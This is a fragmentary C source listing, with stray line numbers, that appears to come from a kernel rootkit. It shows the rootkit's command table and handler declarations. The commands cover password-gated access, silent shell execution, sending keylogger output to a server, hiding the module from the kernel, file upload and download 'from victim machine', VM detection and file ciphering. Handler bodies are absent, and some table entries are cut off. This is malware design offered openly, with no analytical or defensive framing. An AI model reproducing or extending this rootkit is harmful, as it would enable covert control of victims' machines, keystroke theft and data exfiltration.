49 {
50 { "connect", 7, "unlock access to rootkit. Usage: connect [password]", 51,
54 { "passwd", 6, "change rootkit password. Usage: passwd NEW_PASSWORD", 51,
56 { "exec", 4,
57 "execute a shell command. Usage: exec [-s for silent mode] [args*]", 65,
61 {
"klg", 3,
"send keylogger content to server", 32,
klg_handler },
64 { "hide_module", 11, "hide the module from the kernel", 31,
66 { "unhide_module", 13, "unhide the module in the kernel", 31,
68 {
"help", 4,
"display this help message", 25,
help_handler },
69
70
71
72
73
75 {
"upload", 6,
"receive a file and save it on disk", 34,
upload_handler },
76 { "download", 8, "download a file from victim machine", 35,
78 { "sysinfo", 7, "get system information in JSON format", 37,
80 { "is_in_vm", 8, "check if remote rootkit is running in vm", 40,
82 {
"cipher", 6,
"cipher the file in parameter", 29,
cipher_handler },
84 { NULL, 0, NULL, 0, NULL }
85};
static int hide_module_handler(char *args, enum Protocol protocol)
static int klg_handler(char *args, enum Protocol protocol)
static int help_handler(char *args, enum Protocol protocol)
static int connect_handler(char *args, enum Protocol protocol)
static int exec_handler(char *args, enum Protocol protocol)
static int is_in_vm_handler(char *args, enum Protocol protocol)
static int getshell_handler(char *args, enum Protocol protocol)
static int change_password_handler(char *args, enum Protocol protocol)
static int cipher_handler(char *args, enum Protocol protocol)
static int unhide_module_handler(char *args, enum Protocol protocol)
static int ping_handler(char *args, enum Protocol protocol)
static int uncipher_handler(char *args, enum Protocol protocol)
static int klgon_handler(char *args, enum Protocol protocol)
static int killcom_handler(char *args, enum Protocol protocol)
static int klgoff_handler(char *args, enum Protocol protocol)
static int sysinfo_handler(char *args, enum Protocol protocol)
static int disconnect_handler(char *args, enum Protocol protocol)
int download_handler(char *args, enum Protocol protocol)
int upload_handler(char *args, enum Protocol protocol)